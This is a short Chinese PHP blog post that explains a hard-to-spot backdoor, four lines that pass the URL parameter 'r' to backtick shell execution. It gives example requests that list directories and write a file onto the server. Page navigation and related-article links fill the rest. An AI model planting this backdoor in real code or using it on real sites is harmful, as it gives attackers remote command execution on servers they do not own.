一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
人尽可用的Windows技巧小贴士之下篇
Mar 22 PHP
用PHP将数据导入到Foxmail的实现代码
Sep 05 PHP
163的邮件用phpmailer发送(实例详解)
Jun 24 PHP
php生成图形(Libchart)实例
Nov 06 PHP
PHP set_error_handler()函数使用详解(示例)
Nov 12 PHP
php之curl设置超时实例
Nov 03 PHP
支持png透明图片的php生成缩略图类分享
Feb 08 PHP
PHP框架Laravel的小技巧两则
Feb 10 PHP
Smarty foreach控制循环次数的一些方法
Jul 01 PHP
php中钩子(hook)的原理与简单应用demo示例
Sep 03 PHP
TP5框架实现上传多张图片的方法分析
Mar 29 PHP
php实现对短信验证码发送次数的限制实例讲解
Mar 04 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
我的论坛源代码(六)
2006/10/09 PHP
PHP面向对象程序设计之对象的遍历操作示例
2019/06/12 PHP
windows 2008r2+php5.6.28环境搭建详细过程
2019/06/18 PHP
各浏览器对click方法的支持差异小结
2011/07/31 Javascript
JQuery实现简单验证码提示解决方案
2012/12/20 Javascript
JavaScript获取onclick、onchange等事件值的代码
2013/07/22 Javascript
js 通过html()及text()方法获取并设置p标签的显示值
2014/05/14 Javascript
jQuery trigger()方法用法介绍
2015/01/13 Javascript
JavaScript生成随机字符串的方法
2015/03/19 Javascript
JavaScript中String.prototype用法实例
2015/05/20 Javascript
JS实现灵巧的下拉导航效果代码
2015/08/25 Javascript
jQuery on()绑定动态元素出现的问题小结
2016/02/19 Javascript
jquery中的常见问题及快速解决方法小结
2016/06/14 Javascript
echarts3 使用总结(绘制各种图表,地图)
2017/01/05 Javascript
Nodejs多站点切换Htpps协议详解及简单实例
2017/02/23 NodeJs
Vue通过URL传参如何控制全局console.log的开关详解
2017/12/07 Javascript
Node实战之不同环境下配置文件使用教程
2018/01/02 Javascript
关于Vue在ie10下空白页的debug小结
2018/05/02 Javascript
基于vue-router 多级路由redirect 重定向的问题
2018/09/03 Javascript
vue实现的双向数据绑定操作示例
2018/12/04 Javascript
详解mpvue中小程序自定义导航组件开发指南
2019/02/11 Javascript
JQuery 实现文件下载的常用方法分析
2019/10/29 jQuery
Python运行的17个时新手常见错误小结
2012/08/07 Python
python3.3使用tkinter开发猜数字游戏示例
2014/03/14 Python
python文件名和文件路径操作实例
2017/09/29 Python
解决python3 网络请求路径包含中文的问题
2018/05/10 Python
TensorFLow 数学运算的示例代码
2020/04/21 Python
matplotlib 画双轴子图无法显示x轴的解决方法
2020/07/27 Python
基于Python-turtle库绘制路飞的草帽骷髅旗、美国队长的盾牌、高达的源码
2021/02/18 Python
打架检讨书400字
2014/01/17 职场文书
医药类个人求职的自我评价
2014/02/12 职场文书
工作评语大全
2014/04/26 职场文书
教师党的群众路线教育实践活动学习心得体会
2014/10/30 职场文书
搞笑结婚保证书
2015/05/08 职场文书
Java方法重载和方法重写的区别到底在哪?
2021/06/11 Java/Android
基于Python实现将列表数据生成折线图
2022/03/23 Python